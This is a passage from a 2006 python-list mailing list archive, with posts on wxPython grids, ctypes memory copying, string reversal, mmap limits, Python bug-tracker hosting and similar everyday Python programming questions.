         mapped = [_map.get(Ch, Ch) for Ch in Str]
         return "\"" + "".join(mapped) + "\""



-- 
--Scott David Daniels
scott.daniels at acm.org


From ed at leafe.com  Wed Oct 11 21:51:36 2006
From: ed at leafe.com (Ed Leafe)
Date: Wed, 11 Oct 2006 21:51:36 -0400
Subject: Python component model
In-Reply-To: <wJUWg.12327$UG4.10894@newsread2.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>	<mailman.209.1160486725.11739.python-list@python.org>	<zVPWg.9708$o71.4217@newsread3.news.pas.earthlink.net>	<1160502439.729432.13480@h48g2000cwc.googlegroups.com>
	<mailman.235.1160506163.11739.python-list@python.org>
	<wJUWg.12327$UG4.10894@newsread2.news.pas.earthlink.net>
Message-ID: <C1559895-3915-45F3-90DD-96CF1F647836@leafe.com>

On Oct 10, 2006, at 9:59 PM, Edward Diener No Spam wrote:

> The Visual Studio RAD IDE environment actually modifies source code
> constructors, via an InitializeComponent() function called from it, in
> order to set properties and events in components. It does mark the
> function as such with comments in the source code. OTOH Borland's VCL
> uses the resource file technique you scorn above, linking in the code
> via resources and automatically updating a component's properties and
> events from base class components constructors. I believe Java's JVM
> automatically deserializes .ser files at run-time saved by a RAD
> designer in order to set properties and events on an object of a  
> class.
>
> There are obviously numerous techniques, so one should theoretically
> work well with Python.

	With Dabo, we've taken what we feel is a 'best of breed' approach.  
The constructors for the various objects are defined in XML-formatted  
files, making them accessible by any editor. The code behind these  
objects is stored in regular .py files, with special comment lines  
that provide the linkage back to the original object definition. So  
you can edit your code in your favorite Python editor, and it all  
just works.

-- Ed Leafe
-- http://leafe.com
-- http://dabodev.com




From hiroc13 at hotmail.com  Wed Oct  4 04:30:01 2006
From: hiroc13 at hotmail.com (hiroc)
Date: 4 Oct 2006 01:30:01 -0700
Subject: hex sending
In-Reply-To: <mailman.1241.1159950349.10491.python-list@python.org>
References: <1159949891.962523.182880@c28g2000cwb.googlegroups.com>
	<mailman.1241.1159950349.10491.python-list@python.org>
Message-ID: <1159950601.039132.17120@h48g2000cwc.googlegroups.com>

I want send pairs of hexadecimal characters, abc is only my test hex
char is real





Fredrik Lundh wrote:
> "hiroc" wrote:
>
> > s.send("abc") # send test string
> >
> > I need to send hex:"10 06 00 0f 02 bc d1" instead of "abc"
>
> do you want to send seven binary bytes, or pairs of hexadecimal characters
> separated by whitespace ?
>
> how do you map from "abc" to "10 06 00 0f 02 bc d1", by the way?  what
> encoding is that?
> 
> </F>



From paul at subsignal.org  Mon Oct 16 09:41:12 2006
From: paul at subsignal.org (paul)
Date: Mon, 16 Oct 2006 15:41:12 +0200
Subject: wx.grid question (trying to use code from Grid_Example.py)
In-Reply-To: <1160974069.893127.93140@k70g2000cwa.googlegroups.com>
References: <1160973960.113552.200490@i3g2000cwc.googlegroups.com>
	<1160974069.893127.93140@k70g2000cwa.googlegroups.com>
Message-ID: <eh025k$s2u$1@sea.gmane.org>

Eric_Dexter at msn.com schrieb:
> To extend and revise my remarks my error is
> 
>  File "C:\Python24\Lib\site-packages\boa-constructor\test of
> snake\csoundgrid.py", line 8, in create_grid
> win = Grid_MegaExample.MegaTable(self, data, colnames, pugins)
> NameError: global name 'self' is not defined
> Script terminated.
This has nothing to do with wx, you just don't use "self" if you're
_calling_ a method. So:

def create_grid():
    win = Grid_MegaExample.MegaTable(data, colnames, pugins)
    win.Show(True)

should get you to the next error ;)

cheers
 paul



From tnleeuw at gmail.com  Fri Oct 20 11:55:24 2006
From: tnleeuw at gmail.com (Tim N. van der Leeuw)
Date: 20 Oct 2006 08:55:24 -0700
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <mailman.842.1161353877.11739.python-list@python.org>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
	<1161352970.123247.322140@i42g2000cwa.googlegroups.com>
	<mailman.842.1161353877.11739.python-list@python.org>
Message-ID: <1161359724.309189.109020@k70g2000cwa.googlegroups.com>


Fredrik Lundh wrote:
> Tim N. van der Leeuw wrote:
>
> > In practice, the short-term fix would be to add a __str__ method to the
> > 'reversed' object
>
> so what should
>
>     str(reversed(range(10)))
>
> do ?
>

My idea was that reversed.__str__() would do something like the
equivalent of ''.join(reversed(...))

Playing in the interactive shell with that idea I quickly realized that
this would of course consume the iterator as a side-effect... Which is
most likely to be undesirable.

(It works well if you just write it as in the examples above, where the
'reversed' object is temporary and instantly thrown away. But if you
assign the iterator object, in this case 'reversed', to an instance
variable then it should be immediately obvious that having the iterator
consumed as side-effect of calling it's __str__ method is very, very
wrong...)


> > and perhaps to all iterators too (so that trying to build a string from an
> > iterator would do the obvious thing).
>
> all iterators?  who's going to do that?
>

It's not as easy as I expected. But if we could come up with a
reasonable way to create a __str__ method for iterators, well who knows
I might give it a go. (It would be my first C code in many years
though)


> </F>

Cheers,

--Tim



From johnjsal at NOSPAMgmail.com  Wed Oct 25 14:26:27 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 18:26:27 GMT
Subject: cleaner way to write this?
In-Reply-To: <7xac3kb6do.fsf@ruckus.brouhaha.com>
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<7xac3kb6do.fsf@ruckus.brouhaha.com>
Message-ID: <n%N%g.149$1n3.4122@news.tufts.edu>

Paul Rubin wrote:

> I like
> 
>     if dlg.ShowModal() == wx.ID_OK:
>          db_name = dlg.GetValue()
>     else:
>          db_name = None
>     dlg.Destroy()
>     return db_name
> 
> better than
> 
>     db_name = None
>     if dlg.ShowModal() == wx.ID_OK:
>          db_name = dlg.GetValue()
>     dlg.Destroy()
>     return db_name
>

Thanks guys! I didn't think about setting db_name to None in that way!


From apardon at forel.vub.ac.be  Fri Oct 27 14:22:28 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 27 Oct 2006 18:22:28 GMT
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
	<donn-F174C2.10243227102006@gnus01.u.washington.edu>
Message-ID: <slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>

On 2006-10-27, Donn Cave <donn at u.washington.edu> wrote:
> In article <slrnek3kvc.aqe.apardon at rcpc42.vub.ac.be>,
>  Antoon Pardon <apardon at forel.vub.ac.be> wrote:
> ...
>> I think you are incorrect.
>
> Thanks!  I rest my case!
>
>> And how do I express that a number has to be greater than
>> 100 into a Nothing vs Something dichotomy? Declare all
>> greater numbers as Something and the rest as Nothing?
>
> Well, would you declare numbers less than 100 False?

No but the condition: x > 100, will map all numbers to
either True or False. Can you provide a condition that will
provide a mapping to Nothing and Something? Without
artificially mapping False to Nothing and True to Something?

> Think about it in more philosophical terms.  What is Truth?
> The Internet Encyclopedia of Philosophy may be some help
> with this - http://www.iep.utm.edu/t/truth.htm

I don't care about such philosophical issues. I also
doubt that you could provide better answers if you
would subsituted Somthingness for truth is that text.

> Then when you get tired of that, suppose that "if" and
> "while" are asking for "yes" and "no", instead of "true"
> and "false", and ask yourself if we have the philosophical
> problems with "yes" that we do with "true".

Of course we have. Deciding whether a statment/condition is true
or not is equivallent to deciding whether or not we should answer
yes or no to a related question.

-- 
Antoon Pardon


From Eric_Dexter at msn.com  Sat Oct  7 00:07:43 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 6 Oct 2006 21:07:43 -0700
Subject: problem with split
Message-ID: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>

apologies if I annoy and for spacing (google)



def csdInstrumentList(from_file):
    "Returns a list of .csd instruments and any comment lines after the
instrument"
    infile = open(from_file, 'r')
    temp_number = 0
    for line in infile:
        if 'instr' in line:
            s = re.split(r' +',line,3)
            instr_number = s[1]
    return instr_number

I am coming pretty close to what I want with variations on theis but I
cant seem to
get 3 lines with the split and instr_number[array] = s[1] seems to give
me an error.
the data from the line I am trying to split in three would look like
this

  instr 83     ;comment would be here

I want comment returned in an array and instr_number returned in an
array.



From danb_83 at yahoo.com  Mon Oct  9 23:33:12 2006
From: danb_83 at yahoo.com (Dan Bishop)
Date: 9 Oct 2006 20:33:12 -0700
Subject: Dive Into Java?
In-Reply-To: <4ovcbvFgc2nlU1@individual.net>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de>
	<4ovcbvFgc2nlU1@individual.net>
Message-ID: <1160451192.177874.122180@m73g2000cwd.googlegroups.com>

On Oct 9, 11:40 am, Bjoern Schliessmann
<usenet-mail-0306.20.chr0n... at spamgourmet.com> wrote:
> Diez B. Roggisch wrote:
...
> >> because [Java] wanted to be new and good but took over much of C++'s
> >> syntax and made it even weirder,
> > Even weirder? Care to explain?Example:
>
> int spam = 5;
>
> but
>
> String eggs = new String();
>
> The latter seems totally unnecessary to me, as well as being too
> verbose

It is!  All you have to write is

String eggs = "";

Unfortunately, the other object types don't have literals.

> why couldn't they go the simple way as in Python and
> just state
>
> String eggs;
>
> -- is it because in C++ it'd mean something different?

Can't be, because Java already uses the syntax for something different
than C++.



From sturlamolden at yahoo.no  Mon Oct 23 20:18:45 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 23 Oct 2006 17:18:45 -0700
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <453D4BC4.9080100@v.loewis.de>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<453D4BC4.9080100@v.loewis.de>
Message-ID: <1161649124.962144.127140@e3g2000cwe.googlegroups.com>


Martin v. L?wis wrote:

> What architecture are you on? On a 32-bit architecture, it's likely
> impossible to map in 2GiB, anyway (since it likely won't fit into the
> available address space).

Indeed. But why does Python's memory mapping need to be flushed? And
why doesn't Python's mmap take an offset argument to handle large
files? Is Python actually memory mapping with mmap or just faking it
with fseek? If Python isn't memory mapping, there would be no limit
imposed by the 32 bit address space.



From ewijaya at i2r.a-star.edu.sg  Mon Oct 23 09:39:53 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Mon, 23 Oct 2006 21:39:53 +0800
Subject: Auto Completion for Python in VIM editor
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615CB@mailbe01.teak.local.net>


Dear all,

Perl and C/C++  have perl-support.vim and c.vim by Fritz Mehner
that support a very convenient auto completion shortcut in visual mode 
(e.g \aw for While construct).

Does anybody know if such a comprehensive scripts
also exist for Python?

python.vim doesn't seem to suppor this kind
of autocompletion.

 
Regards,
Edward WIJAYA
SINGAPORE

------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
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From johnjsal at NOSPAMgmail.com  Fri Oct 20 18:33:01 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 20 Oct 2006 18:33:01 -0400
Subject: why does this unpacking work
In-Reply-To: <pan.2006.10.20.20.37.38.281361@gmx.net>
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
	<1161373003.141096.277510@i42g2000cwa.googlegroups.com>
	<%ba_g.133$1n3.3373@news.tufts.edu>
	<pan.2006.10.20.20.37.38.281361@gmx.net>
Message-ID: <4539502b$0$30766$c3e8da3@news.astraweb.com>

Marc 'BlackJack' Rintsch wrote:

> Uhm, you mean::
> 
>  pair = (("California","San Francisco"),)
> 
> Note the extra comma to make that "a tuple in a tuple".
> 
> Ciao,
> 	Marc 'BlackJack' Rintsch

You're right!


From steve at holdenweb.com  Tue Oct  3 23:50:55 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 04 Oct 2006 04:50:55 +0100
Subject: PEP 358 and operations on bytes
In-Reply-To: <8764f0iyao.fsf@benfinney.id.au>
References: <20061003172441.GA28391@topjaklont.student.utwente.nl>	<87k63gj41g.fsf@benfinney.id.au>	<7.0.1.0.0.20061003220829.01cc7898@yahoo.com.ar>	<87ejtoj1r8.fsf@benfinney.id.au>
	<efv662$97b$1@sea.gmane.org> <8764f0iyao.fsf@benfinney.id.au>
Message-ID: <efvb1c$ksd$1@sea.gmane.org>

Ben Finney wrote:
> Steve Holden <steve at holdenweb.com> writes:
> 
> 
>>This would just be bloat
> 
> 
> How would it be bloat? I'm describing a situation where the existing
> methods merely move, being implemented in a common ancestor rather
> than directly in the concrete sequence classes.
> 
> 
>>without any use cases being demonstrated. What is your crying need
>>for these methods?
> 
> 
> I don't think I claimed a crying need for one. Consistency, where not
> foolish, is desirable.
> 
> I don't deny that there is work involved; my suggestion was in the
> context of talking about a common ancestor to 'bytes' and 'str', in
> order to refactor some of the common methods.
> 
> 
>>Your *real* generalisation of the string method would actually
>>require you to write
>>
>>     ["foo", "bar", "spam", "baz", "quux", "wibble"].startswith(["foo"])
> 
> 
> Yes, you're right. I realised that after sending, but didn't correct
> it.
> 
> 
>>Python didn't get to be the language it is today by adding
>>unnecessary hypergeneralisations on a whim. Show me how these
>>methods will improve the daily lives of programmers and I'll
>>champion them to the developers, but I don't think the world will be
>>beating a path to your door.
> 
> 
> Again, I'm discussing a still-nascent suggestion for a common sequence
> ancestor; there are no demands here. If there is to be generalisation,
> I'm merely pointing out that it could be at a higher level and be more
> useful.
> 
> If nothing else, it would lend more coherence to the "str is a
> sequence" confusion if *all* sequences shared some str-derived
> methods.
> 
Unfortunately this is where your argument falls to the ground.  Strings 
really are special, since each element of a string is another string. 
What confusion?

Any proposal that tries to make strings and lists subclasses of a common 
ancestor is doomed to failure: strings are highly optimised for 
performance (in Python and in other languages), and the optimisations 
just wouldn't translate to a "generic sequence". That's just life in the 
real world.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From paul at boddie.org.uk  Wed Oct  4 09:21:22 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 4 Oct 2006 06:21:22 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>
	<eg0bo2$obu$1@nnrp.ngi.it>
Message-ID: <1159968082.377851.205270@m73g2000cwd.googlegroups.com>

Giovanni Bajo wrote:
>
> In fact, are you absolutely positive that you need so much effort to
> maintain an existing bugtracker installation?

I wonder what kinds of insights were sought from other open source
projects. It's not as if there aren't any big open source projects
having approachable community members willing to share their thoughts
on running open source (or any other kind of) issue tracking software.
KDE and GNOME don't use SourceForge and yet manage their own
infrastructure - has anyone asked them how they do it?

Paul



From kay.schluehr at gmx.net  Sat Oct 14 03:40:57 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 14 Oct 2006 00:40:57 -0700
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocks in python
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com>
	<7xhcy72xm1.fsf@ruckus.brouhaha.com>
Message-ID: <1160811657.449049.78940@m73g2000cwd.googlegroups.com>

Paul Rubin wrote:
> brenocon at gmail.com writes:
> >     deferred = fetchPage('http://python.org')
> >     def _showResponse(response)
> >         print "fancy formatting: %s" % response.text
> >     deferred.addCallback(_showResponse)
> >
> > Lots of Twisted code has to be written backwards like this.
>
> But that's just ugly.  The fetchPage function should take the callback
> as an argument.  In an asynchronous system it would even be buggy.
> What happens if the page fetch completes before you add the callback?

As long as the fetchPage object does not start fetching right after
being constructed but only after applying an additional activate()
method the code is not buggy. I'm not sure about this design either. Is
_showResponse really that characteristic for fetchPage that it can't be
an object method? Spreading tiny function definitions all over the code
may be finally not such a good idea compared with a few generic methods
that get just called? OO might run out of fashion these days but Python
is not Java and Pythons OO is pretty lightweight.



From theller at python.net  Fri Oct  6 15:09:37 2006
From: theller at python.net (Thomas Heller)
Date: Fri, 06 Oct 2006 21:09:37 +0200
Subject: ctypes, arrays and pointers
In-Reply-To: <452342da$0$11970$afc38c87@news.optusnet.com.au>
References: <452342da$0$11970$afc38c87@news.optusnet.com.au>
Message-ID: <eg69lh$pje$4@sea.gmane.org>

Richard Jones schrieb:
> Does anyone know how to do the equivalent of this using ctypes?
> 
>     image_data = malloc(width * height * components);
>     row_pointers = png_get_rows(png_ptr, info_ptr);
>     for (y = 0; y < height; y++)
>         memcpy(&image_data[width * components * y],
>                row_pointers[height-y-1],
>                width * components);
> 
> That is, I need to get the address of a location *within* an allocated
> array. This is what I've got:
> 
>     image_data = create_string_buffer(width * height * components)
>     address = addressof(image_data)
>     row_pointers = libpng.png_get_rows(png_ptr, info_ptr)
>     for y in xrange(height):
>         row = string_at(address +  width * components * y)
>         memmove(row, row_pointers[height-y-1], width * components)
> 
> but that's not correct. Either the addressof() or string_at() are not
> working according to my understanding from the docs, because that code
> segfaults. FWIW, I also tried:
> 
>     row = image_data + width * components * y
> 
> but you can't add an int to a c_char_Array_2415600.

This feature request has now come up the second time, so I guess I will
have to find a solution for it.  Someone suggested a byref_at(obj, offset) method
which would return a kind of pointer to 'obj' plus offset, and even provided
a patch for it (on the ctypes-users lists, maybe even in the ctypes or Python
SF tracker). Unfortunately that was after the feature freeze for Python 2.5.

> Sadly the docs don't seem to be finished :(
> 
>    http://docs.python.org/dev/lib/ctypes-arrays-pointers.html
> 
> 

This problem wouldn't have been described in the docs anyway, but
keep on bugging me about the docs:

Thomas



From martin at v.loewis.de  Thu Oct  5 14:12:40 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Thu, 05 Oct 2006 20:12:40 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <f4rfv3-vhg.ln1@nb2.stroeder.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>
	<eg0bo2$obu$1@nnrp.ngi.it> <45240FD5.3050705@v.loewis.de>
	<4n4Vg.135913$_J1.898276@twister2.libero.it>
	<f4rfv3-vhg.ln1@nb2.stroeder.com>
Message-ID: <45254B18.2090806@v.loewis.de>

Michael Str?der schrieb:
>> Martin, I am by no means understimating Daniel's work. I am just noting that
>> the spare-time work he did is, by definition, much much lower than the "6-10
>> people" that the PSF infrastructure committee is calling for. I would like this
>> statement to be officially reduced to "2-3 people", since it is *really* not
>> required much more than that to setup a bug tracker installation, and no more
>> than 1 person to maintain it afterwards.
> 
> Glancing over this thread I wonder what these people are supposed to do.
> Any list of requirements available?

Anybody can help who has general experience with "server
administration"; if you do, you know what typical problems are.
In addition, you either should know how roundup works already,
or should be willing to learn it as you go (from the fellow
volunteers who have more insights).

I can't personally anticipate what problems occur; it's only
clear that the volunteers should "just make it work".
The regular admin tasks likely include stuff like this:
- the system is unavailable, bring it back to work
  This is really the worst case, and a short response time
  is the major factor in how users perceive the service
- the system is responding very slowly
- "when I do this operation, it doesn't work" or
  "when I do this operation, I get that error"
- "why does this f*cking system require me to do foo,
   I don't want that"

There might also be the need for regular maintenance.
Ad hoc, the only thing that comes to mind is user
account maintenance: what users get what permissions.
Traditionally (because of the SF model), Python committers
get "admin" rights on the tracker, i.e. the right to close
issues they didn't create. Not sure what the best model
is for Roundup (roundup expertise is needed to propose
an appropriate access control model). Other regular
maintenance might involve spam removal; ideally,
this would be minimal due to a well-thought access
control.

Finally, there might be a need for customization,
perhaps by means of implementing new features. Clearly,
whether features can be implemented depends on the
amount of volunteer time available and neede, and also
on the importance of the requested feature. For example,
in SF, we requested that the "Check to upload" button
is removed; it took SF several years to implement that
request.

Regards,
Martin


From srinivasaraju.datla at gmail.com  Fri Oct 13 06:35:16 2006
From: srinivasaraju.datla at gmail.com (=?utf-8?B?4LC24LGN4LCw4LGA4LCo4LC/4LC14LC+4LC4?=)
Date: 13 Oct 2006 03:35:16 -0700
Subject: Need a Regular expression to remove a char for Unicode text
Message-ID: <1160735716.805309.316830@m73g2000cwd.googlegroups.com>

Hai friends,
Can any one tell me how can i remove a character from a unocode text.
????&??? is a Telugu word in Unicode. Here i want to
remove '&' but not replace with a zero width char. And one more thing,
if any whitespaces are there before and after '&' char, the text should
be kept as it is. Please tell me how can i workout this with regular
expressions.

Thanks and regards
Srinivasa Raju Datla



From MonkeeSage at gmail.com  Sat Oct  7 02:09:08 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 6 Oct 2006 23:09:08 -0700
Subject: problem with split
In-Reply-To: <mailman.9.1160200561.11739.python-list@python.org>
References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com>
	<03eei21fpk5d6s75hb6fnaeruk0o7ob18k@4ax.com>
	<mailman.9.1160200561.11739.python-list@python.org>
Message-ID: <1160201348.602509.9900@m73g2000cwd.googlegroups.com>



On Oct 6, 11:33 pm, hanumizzle <hanumiz... at gmail.com> wrote:
> import re
>
> <snip>
>
> if line.startswith('instr'):
>   p = re.compile(r'(\d+)\s+;(.*)$')
>   m = p.search(line)
>
> return (m.group(1), m.group(2))

You probably don't want startswith, in case there are initial spaces in
the line. Also, since the regexp is single use, you can just use the
re.search class method, which will compile the regexp implicitly. May
also want to strip the second grouped match, in case of trailing
spaces.

if 'instr' in line:
  m = re.search(r'(\d+)\s+;(.*)$', line)
  if m:
    return (m.group(1), m.group(2).strip())

Regards,
Jordan



From pydecker at gmail.com  Fri Oct 13 21:49:21 2006
From: pydecker at gmail.com (Peter Decker)
Date: Fri, 13 Oct 2006 21:49:21 -0400
Subject: Python component model
In-Reply-To: <egm4pg$tge$1@online.de>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<mailman.343.1160617110.11739.python-list@python.org>
	<egm4pg$tge$1@online.de>
Message-ID: <ca55a9900610131849y65580892h6e4f9571f753c4c9@mail.gmail.com>

On 10/12/06, Peter Maas <peter.maas at somewhere.com> wrote:
> Peter Decker wrote:
> > I think you should take a good look at Dabo and the visual tools they
> > are creating.
>
> Thanks for the hint, Peter. I've heard of Dabo and it's on my list of
> things to be inspected. Perhaps my postings have been misunderstood. I don't
> feel uneasy with Python. I'm using it since 4 years and know how to find
> the tools I need. But I feel uneasy with an excessive readiness of some
> c.l.p participants to accept Python as it is and even to react defiantly
> on friendly suggestions how to make Python a more obvious choice for
> newcomers. I think this is important for Python's survival.

I think that Python is a 3GL. Dabo is a 4GL version of Python, in that
its UI is part of its core API.

Dabo is written by people with visual tools backgrounds, and they are
definitely aiming toward that market. They are looking to the same
niche that Visual Basic, Visual FoxPro, Filemaker, Delphi, and other
similar products are addressing.

-- 

# p.d.


From oliphant.travis at ieee.org  Wed Oct 25 06:21:01 2006
From: oliphant.travis at ieee.org (Travis E. Oliphant)
Date: Wed, 25 Oct 2006 04:21:01 -0600
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <453F3189.5000502@chamonix.reportlab.co.uk>
References: <453F3189.5000502@chamonix.reportlab.co.uk>
Message-ID: <ehndnf$5n4$1@sea.gmane.org>

Robin Becker wrote:
> Hi, just trying to avoid wheel reinvention. I have need of an unsigned 32 bit 
> arithmetic type to carry out a checksum operation and wondered if anyone had 
> already defined such a beast.
> 
> Our current code works with 32 bit cpu's, but is failing with 64 bit 
> comparisons; it's clearly wrong as we are comparing a number with a negated 
> number; the bits might drop off in 32 bits, but not in 64.


NumPy defines an array and an array scalar for all signed and unsigned 
integers defined in C.

import numpy as nx
type(nx.array([1,2,3],dtype=nx.uint32)[0])

<type 'numpy.uint32'>





From rpdooling at gmail.com  Wed Oct 11 16:34:57 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 11 Oct 2006 13:34:57 -0700
Subject: python 2.5 & sqlite3
Message-ID: <1160598897.399515.290620@m7g2000cwm.googlegroups.com>

Sorry, I have a knack for making things more difficult than they need
to be. I'm on Windows XP and waiting for the ActiveState release of
Python 2.5. I want to experiment with sqlite and I see that Python 2.5
has the "wrapper" but sqlite itself must be downloaded separately.

I see no installation instructions on the sqlite.org site for Windows
XP. I have downloaded sqlite3.exe, sqlite3.dll, and sqlite3.def. Must I
put them in a certain location, or will any folder do as long as it is
in path?

Anybody know if the ActiveState distribution will have sqlite itself
included?

As always, thank you for the generous help.

rd



From fredrik at pythonware.com  Tue Oct 10 14:48:08 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 20:48:08 +0200
Subject: Python component model
In-Reply-To: <1160502439.729432.13480@h48g2000cwc.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>	<mailman.209.1160486725.11739.python-list@python.org>	<zVPWg.9708$o71.4217@newsread3.news.pas.earthlink.net>
	<1160502439.729432.13480@h48g2000cwc.googlegroups.com>
Message-ID: <eggpt8$eld$1@sea.gmane.org>

fumanchu wrote:

>> 4) Custom property and component editors: A component editor can present
>> a property editor or an editor for an entire component which the visual
>> design-time RAD environment can use to allow the programmer end-user of
>> the component to set or get component property values. Normally a design
>> time environment will present default property editors for each
>> component property type, but a component can override this.
> 
> This is the hard part. I believe Dabo has done some work in this space,
> but this is where the tight coupling comes in between code and tool, a
> coupling which Python has traditionally resisted.

that's not that hard on a pure technical level; even a "basic" tool
like IDLE can hook itself into an executing Python process.  once you're 
hooked up, you can inspect and modify most about everything.

for example, doing remote tweaking of live Tkinter widget trees is 
pretty straight-forward.

coming up with a good way to capture the modifications, and use them in 
your actual application, is a bit harder.  do you really want to replace 
plain old source code with some kind of more or less obscure resource 
files?

and designing a metadata vocabulary that's powerful enough to be useful 
for more than just one or a few target domains might be really hard.

</F>



From rschroev_nospam_ml at fastmail.fm  Sun Oct  1 12:48:22 2006
From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven)
Date: Sun, 01 Oct 2006 16:48:22 GMT
Subject: Is this a bug? Python intermittently stops dead for seconds
In-Reply-To: <mailman.1052.1159719593.10491.python-list@python.org>
References: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>	<efoo0p$59s$2@sea.gmane.org>
	<mailman.1052.1159719593.10491.python-list@python.org>
Message-ID: <qjSTg.106462$ED5.1281165@phobos.telenet-ops.be>

Charlie Strauss schreef:
> On Oct 1, 2006, at 9:48 AM, Fredrik Lundh wrote:
>> charlie strauss wrote:
>>> Could you clarify that for me.  GC really has three components
>>> two it:  1) finding and freeing unrefernced memory by refer
>>> refer counts 2)  cycle removal and 3)  defragementing the
>>> storage stack.  If I turn off GC, don't I lose all of these?
>>>
>> CPython always does (1), only does (2) if cycle-breaking GC isn't
>> disabled, and never does (3).
> 
[snip]
> And just to be clear: are you saying that when I do a gc.disable this  
> only turns off 2 and not 1?  The docs don't say that as far as I can  
> tell.

AFAIK Python always does reference counting, and the garbage collector 
is used only for more difficult cases. As the gc module docs say:
"Since the collector supplements the reference counting already used in 
Python, you can disable the collector if you are sure your program does 
not create reference cycles."

I don't know if that's only true for CPython or also for the other 
implementations.

-- 
If I have been able to see further, it was only because I stood
on the shoulders of giants.  -- Isaac Newton

Roel Schroeven


From http  Thu Oct 26 04:00:14 2006
From: http (Paul Rubin)
Date: 26 Oct 2006 01:00:14 -0700
Subject: Sorting by item_in_another_list
References: <ehk3p8$j3q$1@enyo.uwa.edu.au> <7x1woypbe1.fsf@ruckus.brouhaha.com>
	<IQD%g.15838$Fk1.36230@twister2.libero.it>
	<eho2kq$lqc$1@aioe.server.aioe.org>
	<rkN%g.22603$ta3.2702@tornado.texas.rr.com>
	<ehpln3$pt9$2@enyo.uwa.edu.au>
	<Q4qdnYEF8YLW9d3YnZ2dnUVZ_r-dnZ2d@comcast.com>
Message-ID: <7x8xj3cxrl.fsf@ruckus.brouhaha.com>

Steven Bethard <steven.bethard at gmail.com> writes:
> Cameron Walsh wrote:
> > Which brings me to the question, would this solution:
> > B = set(B)
> > A = B + list(x for x in A if x not in B)
> > be faster than this solution:
> > B = set(B)
> > A.sort(key=B.__contains__, reverse=True)
